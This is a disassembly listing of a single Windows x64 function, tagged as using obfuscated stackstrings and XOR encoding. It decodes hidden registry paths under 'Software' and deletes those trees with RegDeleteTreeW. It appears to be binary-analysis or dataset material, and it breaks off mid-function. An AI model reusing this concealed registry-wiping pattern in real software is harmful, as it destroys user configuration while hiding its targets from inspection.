Function at 0x1402005f0
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
xor ebx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov ecx, ebx
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x4a0054
mov dword [rsp + 0x54], 0x6a0066
mov dword [rsp + 0x58], 0x7e007f
mov dword [rsp + 0x5c], 0x7c006b
mov dword [rsp + 0x60], 0x5d004c
mov dword [rsp + 0x64], 0x70007d
mov dword [rsp + 0x68], 0x790075
mov dword [rsp + 0x6c], 0x440036
mov dword [rsp + 0x70], 0x6d007d
mov dword [rsp + 0x74], 0x72006e
mov dword [rsp + 0x78], 0x7a0072
mov dword [rsp + 0x7c], 0x43006d
mov dword [rbp - 0x80], 0x4e0073
mov dword [rbp - 0x7c], 0x570044
mov dword [rbp - 0x78], 0x440053
mov dword [rbp - 0x74], 0x420054
mov dword [rbp - 0x70], 0x640074
mov dword [rbp - 0x6c], 0x480043
mov dword [rbp - 0x68], 0x42005e
mov dword [rbp - 0x64], 0x40005d
mov dword [rbp - 0x60], 0x450056
mov dword [rbp - 0x5c], 0x64006e
mov dword [rbp - 0x58], 0x5b005d
mov dword [rbp - 0x54], 0x580052
mov dword [rbp - 0x50], 0x4a004f
mov dword [rbp - 0x4c], 0x680066
mov dword [rbp - 0x48], 0x580054
mov dword [rbp - 0x44], 0x530052
mov dword [rbp - 0x40], 0xc001c
mov dword [rbp - 0x3c], 0x2a0037
mov dword [rbp - 0x38], 0x240007
mov dword [rbp - 0x34], 0x2f0025
mov dword [rbp - 0x30], 0x2d
nop dword [rax]
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x49
jb 0x140200730
lea rdx, [rsp + 0x40]
mov word [rbp - 0x2e], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x68]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x68], rbx
call fcn.140183fe0
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x1402007bc
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x440054
mov dword [rsp + 0x54], 0x680063
mov dword [rsp + 0x58], 0x62007e
mov dword [rsp + 0x5c], 0x60007d
mov dword [rsp + 0x60], 0x650076
mov dword [rsp + 0x64], 0x44004e
mov dword [rsp + 0x68], 0x7b007d
mov dword [rsp + 0x6c], 0x780072
mov dword [rsp + 0x70], 0x6a006f
mov dword [rsp + 0x74], 0x580046
mov dword [rsp + 0x78], 0x6f0069
mov dword [rsp + 0x7c], 0x7a006c
mov dword [rbp - 0x80], 0x55004e
mov dword [rbp - 0x7c], 0x460074
mov dword [rbp - 0x78], 0x560056
mov dword [rbp - 0x74], 0x48004f
mov dword [rbp - 0x70], 0x750046
mov dword [rbp - 0x6c], 0x53006f
mov dword [rbp - 0x68], 0x41005c
mov dword [rbp - 0x64], 0x5d0041
mov dword [rbp - 0x60], 0x430055
mov dword [rbp - 0x5c], 0x70006e
mov dword [rbp - 0x58], 0x58005b
mov dword [rbp - 0x54], 0x5b0072
mov dword [rbp - 0x50], 0xa005f
mov dword [rbp - 0x4c], 0x670008
mov dword [rbp - 0x48], 0x4d0073
mov dword [rbp - 0x44], 0x51005b
mov dword [rbp - 0x40], 0x200013
mov dword [rbp - 0x3c], 0x260034
mov dword [rbp - 0x38], 0x2c0014
mov dword [rbp - 0x34], 0x2b0022
mov dword [rbp - 0x30], 0x1b0005
mov dword [rbp - 0x2c], 0x1f
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x4b
jb 0x1402008e1
lea rdx, [rsp + 0x40]
mov word [rbp - 0x2a], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020094d
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140200995
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
xor eax, eax
mov dword [rsp + 0x40], 0x6e0053
mov word [rbp - 0x40], ax
mov ecx, ebx
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x4a0054
mov dword [rsp + 0x54], 0x6a0066
mov dword [rsp + 0x58], 0x7e007f
mov dword [rsp + 0x5c], 0x7c006b
mov dword [rsp + 0x60], 0x5d004c
mov dword [rsp + 0x64], 0x70007d
mov dword [rsp + 0x68], 0x790075
mov dword [rsp + 0x6c], 0x440036
mov dword [rsp + 0x70], 0x6d007d
mov dword [rsp + 0x74], 0x72006e
mov dword [rsp + 0x78], 0x7a0072
mov dword [rsp + 0x7c], 0x43006d
mov dword [rbp - 0x80], 0x4e0073
mov dword [rbp - 0x7c], 0x570044
mov dword [rbp - 0x78], 0x440053
mov dword [rbp - 0x74], 0x420054
mov dword [rbp - 0x70], 0x640074
mov dword [rbp - 0x6c], 0x480043
mov dword [rbp - 0x68], 0x42005e
mov dword [rbp - 0x64], 0x40005d
mov dword [rbp - 0x60], 0x450056
mov dword [rbp - 0x5c], 0x64006e
mov dword [rbp - 0x58], 0x5b005d
mov dword [rbp - 0x54], 0x580052
mov dword [rbp - 0x50], 0x4a004f
mov dword [rbp - 0x4c], 0x680066
mov dword [rbp - 0x48], 0x580054
mov dword [rbp - 0x44], 0x530052
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x40
jb 0x140200aa0
lea rdx, [rsp + 0x40]
mov word [rbp - 0x40], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140200b0c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140200b54
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
xor eax, eax
mov dword [rsp + 0x40], 0x580053
mov word [rbp - 0x5c], ax
mov ecx, ebx
mov dword [rsp + 0x44], 0x570051
mov dword [rsp + 0x48], 0x480041
mov dword [rsp + 0x4c], 0x44005a
mov dword [rsp + 0x50], 0x7b007d
mov dword [rsp + 0x54], 0x6e0078
mov dword [rsp + 0x58], 0x790062
mov dword [rsp + 0x5c], 0x60004d
mov dword [rsp + 0x60], 0x65007e
mov dword [rsp + 0x64], 0x7c0060
mov dword [rsp + 0x68], 0x460078
mov dword [rsp + 0x6c], 0x630073
mov dword [rsp + 0x70], 0x4a0044
mov dword [rsp + 0x74], 0x69007f
mov dword [rsp + 0x78], 0x74006a
mov dword [rsp + 0x7c], 0x7a007d
mov dword [rbp - 0x80], 0x7d0053
mov dword [rbp - 0x7c], 0x420040
mov dword [rbp - 0x78], 0x790049
mov dword [rbp - 0x74], 0x540073
mov dword [rbp - 0x70], 0x5b004d
mov dword [rbp - 0x6c], 0x4e0079
mov dword [rbp - 0x68], 0x590058
mov dword [rbp - 0x64], 0x410047
mov dword [rbp - 0x60], 0x420057
nop dword [rax]
nop dword [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x32
jb 0x140200c30
lea rdx, [rsp + 0x40]
mov word [rbp - 0x5c], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000002
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140200c9c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140200ce4
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
xor eax, eax
mov dword [rsp + 0x40], 0x4e0053
mov word [rbp - 0x40], ax
mov ecx, ebx
mov dword [rsp + 0x44], 0x570044
mov dword [rsp + 0x48], 0x440053
mov dword [rsp + 0x4c], 0x420054
mov dword [rsp + 0x50], 0x440054
mov dword [rsp + 0x54], 0x680063
mov dword [rsp + 0x58], 0x62007e
mov dword [rsp + 0x5c], 0x60007d
mov dword [rsp + 0x60], 0x650076
mov dword [rsp + 0x64], 0x41004e
mov dword [rsp + 0x68], 0x510055
mov dword [rsp + 0x6c], 0x450057
mov dword [rsp + 0x70], 0x510044
mov dword [rsp + 0x74], 0x7a007f
mov dword [rsp + 0x78], 0x51006c
mov dword [rsp + 0x7c], 0x7e007b
mov dword [rbp - 0x80], 0x65004b
mov dword [rbp - 0x7c], 0x570047
mov dword [rbp - 0x78], 0x460041
mov dword [rbp - 0x74], 0x4e0052
mov dword [rbp - 0x70], 0x470047
mov dword [rbp - 0x6c], 0x6f0076
mov dword [rbp - 0x68], 0x4c0045
mov dword [rbp - 0x64], 0x410049
mov dword [rbp - 0x60], 0x42005f
mov dword [rbp - 0x5c], 0x570057
mov dword [rbp - 0x58], 0x450075
mov dword [rbp - 0x54], 0x5b0046
mov dword [rbp - 0x50], 0x5a0051
mov dword [rbp - 0x4c], 0x4f005b
mov dword [rbp - 0x48], 0x520055
mov dword [rbp - 0x44], 0x4c0050
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x40
jb 0x140200df0
lea rdx, [rsp + 0x40]
mov word [rbp - 0x40], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000002
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x140200e5c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140200ea4
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x440054
mov dword [rsp + 0x54], 0x680063
mov dword [rsp + 0x58], 0x62007e
mov dword [rsp + 0x5c], 0x60007d
mov dword [rsp + 0x60], 0x650076
mov dword [rsp + 0x64], 0x44004e
mov dword [rsp + 0x68], 0x7b007d
mov dword [rsp + 0x6c], 0x780072
mov dword [rsp + 0x70], 0x6a006f
mov dword [rsp + 0x74], 0x580046
mov dword [rsp + 0x78], 0x6f0069
mov dword [rsp + 0x7c], 0x7a006c
mov dword [rbp - 0x80], 0x55004e
mov dword [rbp - 0x7c], 0x460074
mov dword [rbp - 0x78], 0x560056
mov dword [rbp - 0x74], 0x48004f
mov dword [rbp - 0x70], 0x750046
mov dword [rbp - 0x6c], 0x53006f
mov dword [rbp - 0x68], 0x41005c
mov dword [rbp - 0x64], 0x5d0041
mov dword [rbp - 0x60], 0x430055
mov dword [rbp - 0x5c], 0x7e006e
mov dword [rbp - 0x58], 0x40005b
mov dword [rbp - 0x54], 0x430058
mov dword [rbp - 0x50], 0x560068
mov dword [rbp - 0x4c], 0x550053
mov dword [rbp - 0x48], 0x4e0048
mov dword [rbp - 0x44], 0xc
nop
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x3f
jb 0x140200fa0
lea rdx, [rsp + 0x40]
mov word [rbp - 0x42], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020100c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201054
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x440054
mov dword [rsp + 0x54], 0x680063
mov dword [rsp + 0x58], 0x62007e
mov dword [rsp + 0x5c], 0x60007d
mov dword [rsp + 0x60], 0x650076
mov dword [rsp + 0x64], 0x44004e
mov dword [rsp + 0x68], 0x7b007d
mov dword [rsp + 0x6c], 0x780072
mov dword [rsp + 0x70], 0x6a006f
mov dword [rsp + 0x74], 0x55003a
mov dword [rsp + 0x78], 0x410048
mov dword [rsp + 0x7c], 0x6a005d
mov dword [rbp - 0x80], 0x530052
mov dword [rbp - 0x7c], 0x4d0047
mov dword [rbp - 0x78], 0x730050
mov dword [rbp - 0x74], 0x550043
mov dword [rbp - 0x70], 0x40005b
mov dword [rbp - 0x6c], 0x450045
mov dword [rbp - 0x68], 0x6c0070
mov dword [rbp - 0x64], 0x5f005e
mov dword [rbp - 0x60], 0x5e0073
mov dword [rbp - 0x5c], 0x43005f
mov dword [rbp - 0x58], 0x410055
mov dword [rbp - 0x54], 0x5b0070
mov dword [rbp - 0x50], 0x5e0059
mov dword [rbp - 0x4c], 0x670049
mov dword [rbp - 0x48], 0x52007f
mov dword [rbp - 0x44], 0x4f0053
mov dword [rbp - 0x40], 0x350021
mov dword [rbp - 0x3c], 0x21002b
mov dword [rbp - 0x38], 0x29002d
mov dword [rbp - 0x34], 0x33002f
mov dword [rbp - 0x30], 0x690031
mov dword [rbp - 0x2c], 0x38000b
mov dword [rbp - 0x28], 0x24003f
mov dword [rbp - 0x24], 0x3b003d
mov dword [rbp - 0x20], 0x3f0031
mov dword [rbp - 0x1c], 0xf0026
mov dword [rbp - 0x18], 0x300004
mov dword [rbp - 0x14], 0x240024
mov dword [rbp - 0x10], 0x2a0031
mov dword [rbp - 0xc], 0x3e002e
mov dword [rbp - 8], 0x38
nop dword [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x5d
jb 0x1402011c0
lea rdx, [rsp + 0x40]
mov word [rbp - 6], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020122c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201274
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x440054
mov dword [rsp + 0x54], 0x680063
mov dword [rsp + 0x58], 0x62007e
mov dword [rsp + 0x5c], 0x60007d
mov dword [rsp + 0x60], 0x650076
mov dword [rsp + 0x64], 0x44004e
mov dword [rsp + 0x68], 0x7b007d
mov dword [rsp + 0x6c], 0x780072
mov dword [rsp + 0x70], 0x6a006f
mov dword [rsp + 0x74], 0x55003a
mov dword [rsp + 0x78], 0x410048
mov dword [rsp + 0x7c], 0x6a005d
mov dword [rbp - 0x80], 0x530052
mov dword [rbp - 0x7c], 0x4d0047
mov dword [rbp - 0x78], 0x730050
mov dword [rbp - 0x74], 0x550043
mov dword [rbp - 0x70], 0x40005b
mov dword [rbp - 0x6c], 0x450045
mov dword [rbp - 0x68], 0x6c0070
mov dword [rbp - 0x64], 0x5f005e
mov dword [rbp - 0x60], 0x5e0073
mov dword [rbp - 0x5c], 0x43005f
mov dword [rbp - 0x58], 0x410055
mov dword [rbp - 0x54], 0x5b0070
mov dword [rbp - 0x50], 0x5e0059
mov dword [rbp - 0x4c], 0x670049
mov dword [rbp - 0x48], 0x52007f
mov dword [rbp - 0x44], 0x4f0053
mov dword [rbp - 0x40], 0x350021
mov dword [rbp - 0x3c], 0x21002b
mov dword [rbp - 0x38], 0x29002d
mov dword [rbp - 0x34], 0x33002f
mov dword [rbp - 0x30], 0x690031
mov dword [rbp - 0x2c], 0x38000b
mov dword [rbp - 0x28], 0x24003f
mov dword [rbp - 0x24], 0x3b003d
mov dword [rbp - 0x20], 0x3f0031
mov dword [rbp - 0x1c], 0xf0026
mov dword [rbp - 0x18], 0x210007
mov dword [rbp - 0x14], 0x250039
mov dword [rbp - 0x10], 0x3d
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x59
jb 0x1402013d0
lea rdx, [rsp + 0x40]
mov word [rbp - 0xe], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020143c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201484
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x410054
mov dword [rsp + 0x54], 0x73006f
mov dword [rsp + 0x58], 0x5f0021
mov dword [rsp + 0x5c], 0x76006f
mov dword [rsp + 0x60], 0x4d0063
mov dword [rsp + 0x64], 0x57005b
mov dword [rsp + 0x68], 0x490055
mov dword [rsp + 0x6c], 0x7e005e
mov dword [rsp + 0x70], 0x6d006b
mov dword [rsp + 0x74], 0x690075
mov dword [rsp + 0x78], 0x65
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x1d
jb 0x140201510
lea rdx, [rsp + 0x40]
mov word [rsp + 0x7a], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020157d
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x1402015c5
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x6e0053
mov dword [rsp + 0x44], 0x770064
mov dword [rsp + 0x48], 0x640073
mov dword [rsp + 0x4c], 0x620074
mov dword [rsp + 0x50], 0x410054
mov dword [rsp + 0x54], 0x73006f
mov dword [rsp + 0x58], 0x5f0021
mov dword [rsp + 0x5c], 0x76006f
mov dword [rsp + 0x60], 0x4d0063
mov dword [rsp + 0x64], 0x57005b
mov dword [rsp + 0x68], 0x490055
mov dword [rsp + 0x6c], 0x7e005e
mov dword [rsp + 0x70], 0x6d006b
mov dword [rsp + 0x74], 0x690075
mov dword [rsp + 0x78], 0x2b0065
mov dword [rsp + 0x7c], 0x2a
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x1f
jb 0x140201650
lea rdx, [rsp + 0x40]
mov word [rsp + 0x7e], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000001
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x1402016bd
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201705
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov ecx, ebx
mov dword [rsp + 0x40], 0x580053
mov dword [rsp + 0x44], 0x570051
mov dword [rsp + 0x48], 0x480041
mov dword [rsp + 0x4c], 0x4f005a
mov dword [rsp + 0x50], 0x7b0069
mov dword [rsp + 0x54], 0x7c006e
mov dword [rsp + 0x58], 0x7f006d
mov dword [rsp + 0x5c], 0x4c006b
mov dword [rsp + 0x60], 0x7f007f
mov dword [rsp + 0x64], 0x7a0074
mov dword [rsp + 0x68], 0x490073
mov dword [rsp + 0x6c], 0x620055
mov dword [rsp + 0x70], 0x6b006a
mov dword [rsp + 0x74], 0x75007f
mov dword [rsp + 0x78], 0x410068
mov dword [rsp + 0x7c], 0x70005d
mov dword [rbp - 0x80], 0x51004d
mov dword [rbp - 0x7c], 0x570057
mov dword [rbp - 0x78], 0x570041
mov dword [rbp - 0x74], 0x43006f
mov dword [rbp - 0x70], 0x5b
nop dword [rax]
nop word [rax + rax]
movsxd rax, ecx
xor word [rsp + rax*2 + 0x40], cx
inc ecx
cmp ecx, 0x29
jb 0x1402017c0
lea rdx, [rsp + 0x40]
mov word [rbp - 0x6e], bx
lea rcx, [rbp]
call fcn.14013ec98
mov qword [rsp + 0x30], rbx
lea r8, [rbp]
mov qword [rsp + 0x28], rbx
lea rcx, [rbp + 0x60]
mov r9d, 0x2011f
mov dword [rsp + 0x20], ebx
mov rdx, 0xffffffff80000002
mov qword [rbp + 0x60], rbx
call fcn.140183fe0
mov rax, qword [rbp + 0x60]
cmp qword [rbp + 0x68], rax
je 0x14020182c
lea rcx, [rbp + 0x68]
call fcn.140183f94
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x60]
call fcn.140183f94
lea rcx, [rbp]
call fcn.14013ed68
cmp qword [rbp + 0x68], rbx
je 0x140201874
lea rdx, [rbp + 0x60]
mov word [rbp + 0x60], bx
lea rcx, [rbp]
call fcn.14013ec98
lea rcx, [rbp]
call fcn.14013eeb4
mov rcx, qword [rbp + 0x68]
mov rdx, rax
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
lea rcx, [rbp]
call fcn.14013ed68
lea rcx, [rbp + 0x68]
call fcn.140183f94
xor eax, eax
mov dword [rsp + 0x40], 0x580053
mov word [rbp - 0x70], ax
mov ecx, ebx
mov dword [rsp + 0x44], 0x570051
mov dword [rsp + 0x48], 0x480041
mov dword [rsp + 0x4c], 0x4f005a
mov dword [rsp + 0x50], 0x7b0069
mov dword [rsp + 0x54], 0x7c006e
mov dword [rsp + 0x58], 0x7f006d
mov dword [rsp + 0x5c], 0x4c006b
mov dword [rsp + 0x60], 0x7f007f
mov dword [rsp + 0x64], 0x7a0074
mov dword [rsp + 0x68], 0x490073
mov dword [rsp + 0x6c], 0x620055
mov dword [rsp + 0x70], 0x6b006a
mov dword [rsp + 0x74], 0x75007f
mov dword [rsp + 0x78], 0x410068
mov dword [rsp + 0x7c], 0x6d004e
